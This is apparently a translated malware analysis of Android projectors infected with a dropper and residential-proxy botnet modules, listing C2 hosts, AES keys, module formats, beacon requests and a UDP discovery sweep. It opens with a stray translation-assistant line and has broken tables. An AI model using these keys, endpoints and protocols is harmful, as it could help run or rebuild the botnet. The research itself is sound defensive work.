Please paste the source content for chunk 53, and I'll return the French translation following all the rules you've specified.```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"
**Liste complète des 40 URL de profils**
Chacune correspond probablement à une famille d'appareils victimes dans le cadre de la même campagne :```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json
Chaque infos*.json liste les applications à pm install -r (charge utile com.google.adtest + applications de couverture comme Disney+) tel que décrit au point 3.
Chiffrement de l'hôte C2
com.hs.p.basic.Hosts/EncryptUtils
Chaque chaîne d'hôte est en AES/CFB/NoPadding (clé MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), compressée en gzip, puis encodée en base64 :
API_MASTER_HOSTS : https://api.loritor.cc/TRACKER_SLAVE_HOSTS : https://api.loritor.cc/API_SLAVE_HOSTS : https://api.nizero.cc/TRACKER_MASTER_HOSTS : https://api.nizero.cc/ (priorité inversée par rapport au canal API ?)loritor.cc et nizero.cc semblaient tous deux hors service au moment de ces tests.
Chemins de l'API de tâches/configuration
GetTaskApi, GetConfigApi
POST <host>/0x01/ov/x1 (configuration : fenêtres silencieuses, bascule des logs, push de la liste d'hôtes, période de polling) et POST <host>/0x01/ov/x2 (liste de tâches : jars[]/dexs[]/apks[] paginés par curseur, chacun avec file_url/file_md5/vercode/task_id). Le champ "data" du corps de la réponse est chiffré de la même manière, clé "ota.api.d3b194c07b63d688969c258719ca3f0f".
Format de module .rf
En déchiffrant les quatre modules dont je dispose avec des signatures DSA valides :
[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].
Clé AES = MD5("968a84be78d3421d5e771147dce2b766" + salt), même IV fixe que ci-dessus.
La clé publique DSA est codée en dur (1024 bits, intégrée dans DexManager/JarExe). Le texte en clair est un ZIP/APK, pas un dex brut.```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}
### 9.4 com.ad.proxy
`SKN0041`
L'entrée `MainApi.start_W0017` démarre le client `Robin`. Deux points de terminaison HTTP(S) en clair, `channel`/`version` fournis par celui qui a invoqué le module :```
GET https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
# reports back which proxy gateways it reached
SKN0054
Les chaînes de domaine/IP ici sont obfusquées : Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip dans la classe com.szns.sdk.t.
J'ai reproduit l'algorithme exact (analysis/tools/decode_szns_t.py) et déchiffré les quatre points de terminaison d'amorçage codés en dur :```
ac.a()
-> https://hgsdkszns.com
ac.b()
-> http://dporder.midrouterx.com/api/dispatch
(state 1: fetch "domain_info", cached 24h)
ac.c()
-> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
(state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
-> 43.173.127.241:9090
(state 5: "ip_tcp_info" bootstrap)
Si aucune URL de dispatch en cache (état 7) :
Balayage UDP de `43.153.12.1` - `43.153.80.100:8080`
Envoi de la charge utile ASCII littérale `"moon2"`, en attendant toute réponse commençant par `http`. Cette réponse devient l'URL de dispatch.
Chaque requête bootstrap est `POST <url>` avec les champs de formulaire `{"operator":<c>,"c":"moon2","name":<d>}` dans `com.szns.sdk.x`.
Quelle que soit l'URL de dispatch résolue, les mêmes champs lui sont ensuite POSTés et elle renvoie la liste réelle des passerelles, chiffrée en `AES/CBC/PKCS5` (clé `"5360e2884c119aa32a767ceb1c0889b0"`, IV aléatoire, enveloppe `base64(iv):base64(ciphertext)`)
Format JSON déchiffré : `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.
### 9.6. com.link.core
`SKN0058 `
Passerelle unique codée en dur, aucune couche de découverte : `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Résolveurs DNS utilisés pour ses propres recherches : `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Lit `/proc/cpuinfo` et `/sys/class/net/{eth0,wlan0}/address` pour l'empreinte de l'appareil.
### 9.7. ddth2 (VpsSdk)
`SKN0061`
Pool de passerelles codé en dur, `ddth2.hidden.o` : domaines `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IPs `45.43.57.99`, `165.154.135.52`.
Un protocole TCP binaire personnalisé persistant :
- connexion
- handshake `REGISTER`/`REGISTER_ACK` (en-tête de trame de 8 octets, opcode+longueur)
- la passerelle pousse ensuite des commandes de connexion (`{host, port}`
- filtrées contre les plages privées/loopback/multicast qui génèrent des sockets proxifiés par session, expliquant les « nombreuses instances client parallèles ».
### 9.8. com.google.adtest
ou `com.fotas.wanapp ("com.speed")`
Le vrai nom de package interne est `com.fotas.wanapp` (classe App `com.fotas.wanapp.APP`). `onCreate()` configure trois hôtes selon le même schéma maître/esclave/aléatoire que `plugin.jar` :```
master -> https://api.pechlo.cc/
slave -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/
La vérification de l'appareil s'effectue via POST https://codedevapp.com/api/v1/device/dau.
Deux services sont démarrés :
com.google.android.AdServicecom.google.android.BakServiceSonde par réflexion et initialise une classe optionnelle com.fotas.wanapp.ChannelSdkInit si elle est présente. Chaînes d'identifiant d'application : "wanapp", "WAN_AISHANG_001".
Vérification de joignabilité en lecture seule depuis un hôte indépendant (aucun protocole/charge utile de proxy envoyé, aucune interaction avec le projecteur lui-même) :
Options de développement :
Deviceversion.onKeyDown (écran « Device info » des paramètres) surveille un code de style Konami, Haut Haut Bas Bas Gauche Gauche Droite Droite Centre Centre, qui tente d'ouvrir les options de développement. Pour moi, cela n'a pas fonctionné.com.konka.readmain.MainActivity, une application de test d'usine OEM sans rapport qui n'est en fait pas installée sur cet appareil. Idem, cela n'a pas fonctionné.```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23| Terme | Ce qu'il fait | LAN |
|---|
NetworkInterface (adtest, plugin, SKN0061) | Lit l'IP et l'adresse MAC de l'appareil pour l'ID du bot | Non |
DatagramSocket dans SKN0041 | Relais UDP pour les sessions proxy vers la passerelle | Non |
DatagramSocket dans SKN0054 | Découverte C2 : balaye 43.153.12-80.1-100:8080 (plage de cloud public) | Non |
ServerSocket dans plugin.jar | Serveur de re-diffusion vidéo, voir ci-dessous | Non |
Occurrences de Runtime.exec (yiyou, plugin.jar, adtest, SKN0041/54/58/61) | Internes de SDK tiers, chmod 777 sur des fichiers locaux, su/pm/dumpsys pour les vérifications d'application au premier plan ou de root, et ping émis par l'opérateur dans SKN0041 | Uniquement la commande ping |
| UPnP, mDNS/NSD, SSDP, WiFi Direct, calculs ARP/sous-réseau, ADB 5555, telnet | aucun | Non |
systemmixservice / libsystemmixservice.so / libsystemmix_jni.so | Service OEM Binder uniquement : get/set de propriétés, lecture/écriture/suppression brute de fichiers, mount/umount, logo/animation de démarrage. Aucun symbole socket/bind/connect/listen/accept dans l'un ou l'autre binaire | Non |
qw | Démon su Superuser/ClockworkMod. Uniquement des chemins de socket de domaine Unix dans ses chaînes (/dev/com.koushikdutta.superuser[.daemon]), aucun littéral IP, aucun AF_INET | Non |
com.android.nfx (NFXAccessibility) | Assistant de navigation D-pad Netflix, actif uniquement lorsque com.netflix.mediaclient est au premier plan. Le manifeste n'a aucune permission INTERNET | Non |
| // SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only | ||
| str.equals("0.0.0.0") | str.matches("^10\..*") |
| Hôte | Résultat DNS / connexion | Remarques |
|---|
api.loritor.cc, api.nizero.cc | résout (Cloudflare), HTTP 404 sur / | actif ; les vrais chemins sont /0x01/ov/x1, /0x01/ov/x2 |
api.kookjar.com | résout (Cloudflare, 172.67.159.65), HTTP 204 | actif |
152.32.240.141 (repli de débogage SKN0041) | TCP/80 timeout | non joignable ; chemin réservé au débogage de toute façon, la production utilise api.kookjar.com |
dporder.midrouterx.com | résout en direct (43.174.196.241, Tencent Cloud), HTTP 200 sur /api/dispatch | actif |
seed-info.oss-ap-southeast-1.aliyuncs.com | résout (47.79.49.170, Alibaba Cloud SG), HTTP 200, sert favorite.ico | actif |
hgsdkszns.com | résout (Cloudflare) | DNS actif ; sonde HTTPS simple réinitialisée (branche inutilisée dans la version actuelle, voir 10.5) |
43.173.127.241:9090 | la connexion TCP brute réussit | actif, en écoute en ce moment |
api.eviceh.cc:16000 | résout (152.53.83.204) | DNS actif, TCP/16000 refusé au moment de la vérification (passerelle non en écoute actuellement) |
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52 | non revérifiés lors de cette passe | voir section 11 |
api.pechlo.cc, api.logobi.cc | résolvent (Cloudflare), HTTP 404 sur / | actifs |
random.vivosoc.cc | aucun enregistrement DNS | semble mort/expiré |
codedevapp.com | résout (5.161.41.216, Hetzner) | actif ; /api/v1/device/dau est en POST uniquement donc un simple GET échoue |
| Hôte / URL | Composant | Rôle |
|---|
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.com | sysapp, yiyou | domaine backend OEM racine |
wjtysj.ishanghd.com/hx_kt.php | sysapp (AshdSysApp) | C2 du programme de mise à jour OTA (act=project&do=getPackageInfo) |
ty.ishanghd.com/work/app/wj/factory/update.json | yiyou | pointeur d'auto-mise à jour du dropper |
ty.ishanghd.com/work/app/wj/appsinfo/* (40 chemins, voir ci-dessus) | yiyou | listes de charges utiles/applications par famille d'appareils (cibles pm install -r) |
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json | yiyou | pointeur de récupération de plugin.jar |
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar | yiyou | charge utile réelle plugin.jar (chemin versionné, change au fil du temps) |
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip | plugin.jar | bundle de clés/licences DRM Widevine L3, déposé pour que les applications de streaming fonctionnent sur l'appareil non certifié |
api.loritor.cc, api.nizero.cc | plugin.jar ("hs") | API de tâches/configuration (/0x01/ov/x1, /0x01/ov/x2), à la fois comme canal API (maître/esclave) et canal de suivi (esclave/maître inversés) |
api.kookjar.com (+ 152.32.240.141 débogage) | SKN0041 | /signin, /report |
api.eviceh.cc:16000 | SKN0058 | passerelle unique |
hgsdkszns.com | SKN0054 | hôte d'amorçage supplémentaire codé en dur (branche inutilisée dans la version actuelle) |
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, atteint via l'amorçage OSS ci-dessous) | SKN0054 | amorçage de répartition principal |
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico | SKN0054 | redirecteur d'amorçage hébergé sur OSS (Alibaba Cloud OSS) |
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico | SKN0054 | miroir de sauvegarde Tencent COS de la même configuration d'amorçage |
43.173.127.241:9090 | SKN0054 | hôte d'amorçage ip_tcp_info (port exact confirmé, actif) |
43.135.136.224 | SKN0054 | passerelle de répartition observée active (tcp/7788 /api/dispatch, tcp/9090) |
43.159.148.198 | SKN0054 | point de terminaison passerelle/liste de serveurs observé actif, /dp/getServer (probablement renvoyé dynamiquement dans la liste chiffrée node[]) |
43.130.60.175 | SKN0054 | nœud de passerelle proxy supplémentaire (tcp/9090), observé actif |
43.153.12.1–43.153.80.100:8080 (UDP) | SKN0054 | balayage de découverte ; la charge utile de sonde est l'ASCII littéral moon2 |
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52 | SKN0061 | pool de passerelles, protocole proxy TCP personnalisé |
api.pechlo.cc, api.logobi.cc, random.vivosoc.cc | com.speed / com.fotas.wanapp | C2 maître/esclave/aléatoire |
codedevapp.com/api/v1/device/dau | com.speed / com.fotas.wanapp | vérification de l'appareil |
live.sz-cloudmedia.com:8080/ota/ | OTA hérité (variante sysapp plus ancienne/sœur) | impasse, le domaine n'a pas de dépôt ICP, Alibaba le bloque. |
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.com | yiyou (SDK Umeng) | télémétrie analytique tierce, transportant les empreintes d'appareil (numéro de série, MAC, SSID/BSSID) que l'application yiyou collecte |
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.com | yiyou (SDK Baidu Mobile Stats) | même rôle de télémétrie, via Baidu |
cmnsguider.yunos.com, ip.taobao.com, g3.le.com | yiyou | services de recherche de jeton d'appareil et d'IP publique Alibaba/Yunos utilisés pour le fingerprinting |